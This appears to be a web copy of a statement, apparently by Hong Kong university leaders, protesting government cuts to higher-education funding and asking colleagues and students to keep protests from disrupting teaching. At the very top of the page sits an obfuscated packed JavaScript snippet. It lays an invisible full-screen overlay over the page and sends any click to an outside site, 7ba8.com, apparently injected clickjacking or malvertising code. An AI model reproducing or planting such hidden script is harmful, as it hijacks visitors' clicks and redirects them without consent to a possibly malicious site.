<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>We are greatly saddened by the Government’s decision to further reduce spending on education notwithstanding the fact that it has recognized that support for this sector is vital for Hong Kong’s future. We are particularly dismayed by the fact that only two years ago in his 2001 Policy Address, the Chief Executive affirmed that “despite the pressure of economic downturn on public finances, our resolve to invest in education is unshaken. Regardless of Hong Kong’s economic situation, you can rest assured that in the next five to ten years spending on education will continue to increase year after year” (Policy Address, 10 October 2001, p. 15). At present, the Government spends a relatively low proportion of GDP on education as a whole in terms of Hong Kong’s level of economic development and provides restricted access to higher education. Hong Kong will never achieve its goal of becoming a world-class international city if it continues to reduce investment in education since, in the final analysis, it is educated people who are our greatest asset.
Over the last twenty years, the higher education sector in particular has made a significant and important contribution to Hong Kong’s development and stability. One of the key features of our society that distinguishes it from others in Asia is that we possess a system of higher education that is of international standard. Nevertheless, it is becoming clear that the scale of the existing and planned cutbacks, through a wide variety of means, will result in approximately 50% reduction of the spending on the sector over a period of less than a decade if indeed there is a further deep cut in the forthcoming triennium. No organizations let alone universities can cope with such a magnitude and pace of budget cuts without compromising quality seriously.
We fully appreciate that the universities, along with other publicly funded organizations whose remuneration packages have been historically linked to those of the civil service, require restructuring to match the changing economic environment. However, we are distressed by the fact that while the Chief Executive committed to increase spending in education, the Government should impose such a deep cut in funding for the universities. The current strategy of isolating higher education and using it as the major target to achieve savings is not only short-sighted and politically expedient, but will also result in Hong Kong losing its place as one of the leading providers of higher education in East Asia and its future as a knowledge economy. If the Government continues to cut its higher education funding, then, in the long term, it is the whole Hong Kong community and its development that will suffer.
We have learnt that some of our colleagues and students are planning protest activities of one form or another. We understand their worries and concerns and will continue to seek discussion with the Government. We would also like to urge students and colleagues to minimize the impact of their protests on teaching and learning activities, and hope that universities and their members will continue to engage in a rational dialogue with the Government on higher education development and its funding needs.
We call on the Government to sustain its long term commitment to the development of higher education in Hong Kong. |
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